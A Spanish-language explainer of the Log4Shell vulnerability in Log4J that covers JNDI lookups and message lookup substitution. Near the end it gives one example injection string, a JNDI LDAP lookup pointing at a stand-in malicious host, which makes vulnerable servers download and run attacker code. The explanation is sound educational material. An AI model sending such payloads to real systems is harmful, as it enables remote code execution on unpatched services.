Log4Shell afecta a Log4J, una biblioteca de registro de código abierto mantenida por Apache Software Foundation. Log4J es un registrador, un componente de software que registra información y eventos en un programa, como mensajes de error y entradas de usuario.
Log4J no es un programa independiente, sino un paquete de código que los desarrolladores pueden conectar a sus aplicaciones Java en lugar de crear registradores desde cero. Las principales organizaciones, como Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco y muchas otras, utilizan Log4J en sus software y servicios.
Log4Shell obtiene los resultados de cómo las versiones vulnerables de Log4J manejan dos funciones relacionadas: búsquedas de interfaz de directorio y nombres Java (JNDI), y sustituciones de búsqueda de mensajes. Cada característica por sí sola sería inofensiva, pero la interacción entre ellas da a los hackers un arma potente.
JNDI es una interfaz de programación de aplicaciones (API) que las aplicaciones Java utilizan para acceder a los recursos alojados en servidores externos. Una búsqueda JNDI es un comando que indica a la aplicación que vaya a un servidor y descargue un objeto específico, como una pieza de datos o un script. Las versiones anteriores de Log4J 2 ejecutan automáticamente cualquier código descargado de esta manera.
La sustitución de búsqueda de mensajes permite a los usuarios y las aplicaciones enviar variables a Log4J dentro de los mensajes de registro mediante una sintaxis específica: ${prefix:name}. Cuando Log4J encuentra esta sintaxis, resuelve la variable e incluye el valor en el registro. Por ejemplo, si Log4J recibiera un mensaje que dijera:
${java:version}
averiguaría la versión actual de Java que se ejecuta en el dispositivo. En el registro, anotaría: "Java versión X.XX".
Dicho de otra manera, Log4J no trata las sustituciones de búsqueda de mensajes como texto sin formato. Las trata como comandos y toma medidas basadas en lo que dicen. Los hackers pueden aprovechar este hecho para enviar comandos de búsqueda JNDI maliciosos a las aplicaciones que ejecutan versiones vulnerables de Log4J. Por ejemplo, un hacker podría enviar a Log4J una cadena como esta:
${jndi:ldap://myevilwebsite.biz/maliciouscode}
Cuando Log4J recibiera este mensaje, resolvería la variable comunicándose con el servidor en myevilwebsite.biz y descargando el objeto ubicado en /maliciouscode. Este proceso llevaría a Log4J a ejecutar cualquier código Java que el hacker hubiera escondido en esa ubicación, generalmente malware.